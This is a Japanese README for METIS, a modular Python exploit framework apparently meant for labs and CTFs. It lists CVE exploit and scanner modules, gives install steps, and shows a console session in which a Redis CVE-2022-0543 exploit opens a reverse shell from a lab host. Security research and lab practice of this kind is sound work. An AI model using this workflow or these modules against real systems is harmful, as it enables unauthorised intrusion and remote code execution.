Metasploitスタイルのコンソール、自動登録されるExploitおよびAuxiliaryモジュール、トライステートチェック、ラボおよびCTFターゲット向けの複数のセッショントランスポートを備えたモジュラーPythonエクスプロイトフレームワーク。
███╗ ███╗███████╗████████╗██╗███████╗
████╗ ████║██╔════╝╚══██╔══╝██║██╔════╝
██╔████╔██║█████╗ ██║ ██║███████╗
██║╚██╔╝██║██╔══╝ ██║ ██║╚════██║
██║ ╚═╝ ██║███████╗ ██║ ██║███████║
╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚══════╝
学習用に構築された Python エクスプロイトフレームワーク。モジュラーアーキテクチャ、テーマ付きコンソール、複数のセッショントランスポート、そして成長を続ける CVE モジュールライブラリを備えています。
METIS は コミュニティ主導のセキュリティリサーチフレームワークです。目標は、セキュリティ研究者、開発者、そしてより広いコミュニティによって提供されたモジュールのコレクションを成長させていくことです。
共有したい便利なスキャナ、補助モジュール、エクスプロイトモジュール、その他のセキュリティリサーチツールはありませんか? METIS に追加して Pull Request を開いてください。
プロジェクトのモジュール構造、コーディング標準、および認可された使用に関するガイドラインに従っている限り、すべてのコントリビューションを歓迎します。
新しい CVE モジュールの追加、既存モジュールの改善、バグ修正、新しいフレームワーク機能の構築など、あなたのコントリビューションは METIS をすべての人にとってより良いものにする助けになります。
独自のモジュール作成については、以下の モジュールの作成 を参照してください。
METIS は Python で書かれたモジュラー型 C2/エクスプロイトフレームワークです。Metasploit スタイルの対話型コンソールを実行し、モジュールを選択し、オプションを設定し、チェックを実行し、ラボのターゲットに対してセッションを確立できます。
以下の用途向けに設計されています:
以下の用途向けには設計されていません:
.py ファイルを modules/ にドロップするだけで自動登録されますExploit(セッションを生成)と Auxiliary(スキャナ、列挙ツール)check() — すべてのモジュールが攻撃前に検証できます(VULNERABLE / SAFE / UNKNOWN)file: ターゲット指定とライブプログレスバーKEY=VALUE ファイルからオプションを読み込み| モジュール | 説明 |
|---|---|
auxiliary/scanner/tcp_connect | スレッド化された TCP ポートスキャナ |
auxiliary/scanner/hikvision_cve_2017_7921 | Hikvision IP カメラ認証バイパス + ユーザー列挙 |
auxiliary/scanner/mikrotik_winbox_creds_cve_2018_14847 | MikroTik WinBox 認証情報漏洩 |
auxiliary/scanner/redis_cve_2022_0543 | Redis Lua サンドボックスエスケープ検出器 |
| モジュール | セッションタイプ |
|---|---|
exploit/unix/ftp/vsftpd_234_backdoor | バインドソケット |
exploit/multi/http/ghost_cms_handlebars_rce | リバースソケット |
exploit/multi/http/langflow_rce_cve_2026_9198 | リバースソケット |
exploit/multi/http/budibase_plugin_upload_rce_cve_2026_31816 | リバースソケット |
exploit/multi/http/activemq_jolokia_rce_cve_2026_34197 | リバースソケット |
exploit/multi/http/tomcat_put_rce_cve_2017_12615 | リバースソケット |
exploit/multi/http/joomla_jce_rce_cve_2026_48907 | HTTP ウェブシェル |
exploit/linux/http/freepbx_sqli_rce_cve_2025_57819 | 遅延リバース (cron) |
exploit/linux/redis/redis_cve_2022_0543_rce | リバースソケット |
exploit/linux/ssh/libssh_auth_bypass_cve_2018_10933 | Paramiko チャネル |
exploit/linux/telnet/inetutils_telnetd_bypass_cve_2026_24061 | 生の telnet ソケット |
Python 3.10+ と git が必要です。
git clone https://github.com/K3ysTr0K3R/METIS.git
cd METIS
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
requirements.txt:
pwntools>=4.11.0
requests>=2.31.0
paramiko>=3.0.0
redis>=5.0.0
cryptography>=42.0.0
rich>=13.7.0
prompt_toolkit>=3.0.43
実行:
python3 metis.py
metis > show modules
# Module Date Rank Chk Description
-- ------------------------------------------------------------ ---------- --------- --- -----------
1 auxiliary/scanner/hikvision_cve_2017_7921 2017-09-23 normal Yes Hikvision IP Camera Authentication Bypass (CVE-2017-7921)
2 auxiliary/scanner/mikrotik_winbox_creds_cve_2018_14847 2018-08-01 great Yes MikroTik WinBox Credential Leak (CVE-2018-14847)
...
15 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes vsftpd 2.3.4 Backdoor Command Execution
metis > search redis
# Module Date Rank Chk Description
-- ------ ---- ---- --- -----------
1 auxiliary/scanner/redis_cve_2022_0543 2022-02-18 excellent Yes Redis CVE-2022-0543 Scanner
2 exploit/linux/redis/redis_cve_2022_0543_rce 2022-02-18 excellent Yes Redis CVE-2022-0543 Lua Sandbox Escape RCE
metis > use 2
[*] using exploit/linux/redis/redis_cve_2022_0543_rce
metis exploit(linux/redis/redis_cve_2022_0543_rce) > set RHOST 192.168.56.101
[+] RHOST => 192.168.56.101
metis exploit(linux/redis/redis_cve_2022_0543_rce) > set LHOST 192.168.56.1
[+] LHOST => 192.168.56.1
metis exploit(linux/redis/redis_cve_2022_0543_rce) > check
[*] check: probing 192.168.56.101:6379
[VULNERABLE] check: 192.168.56.101 vulnerable to CVE-2022-0543
[*] check -> vulnerable
metis exploit(linux/redis/redis_cve_2022_0543_rce) > exploit
[*] running check() before exploit (AUTOCHECK=true)
[VULNERABLE] check: 192.168.56.101 vulnerable to CVE-2022-0543
[+] target appears vulnerable — proceeding
[*] listening on 192.168.56.1:4444 for reverse shell
[+] shell from 192.168.56.101:51234
[+] new session: <Session a3f2b1c4 192.168.56.101:51234>
metis exploit(linux/redis/redis_cve_2022_0543_rce) > sessions
a3f2b1c4 192.168.56.101:51234 (alive)
metis exploit(linux/redis/redis_cve_2022_0543_rce) > interact a3f2b1c4
[*] interacting with a3f2b1c4. 'background' returns, '!cmd' runs locally.
a3f2b1c4 $ id
uid=105(redis) gid=108(redis) groups=108(redis)
a3f2b1c4 $ background
metis >
| コマンド | 効果 |
|---|---|
show modules | メタデータ付きですべてのモジュールを一覧表示 |
search <term> | パス、名前、説明、または CVE で検索 |
use <N|path> | 番号またはパスでモジュールを選択 |
set <OPT> <val> | モジュールオプションを設定 |
setg <OPT> <val> | グローバルオプションを設定(すべてのモジュールに適用) |
check | モジュールの非破壊的な check() を実行 |
run / exploit | モジュールを実行 |
sessions | アクティブなセッションを一覧表示 |
interact <sid> | セッションに入る |
connect <host> <port> | バインドシェルに接続 |
listen <host> <port> | 生の TCP ハンドラを開始 |
resource <file.rc> | RC ファイルからコマンドを実行 |
theme <name> | テーマを切り替え(22 種類利用可能) |
gradient | プログレスバーのグラデーションを設定 |
!<cmd> | ローカルシェルコマンドを実行 |
shell | 対話型ローカルシェルに入る |
exit | 終了 |
補助スキャナには RHOSTS を使用します。以下を受け付けます:
set RHOSTS 192.168.56.101
set RHOSTS 192.168.56.101,192.168.56.102,10.0.0.5
set RHOSTS 192.168.56.0/24
set RHOSTS 192.168.56.100-192.168.56.120
set RHOSTS file:/path/to/targets.txt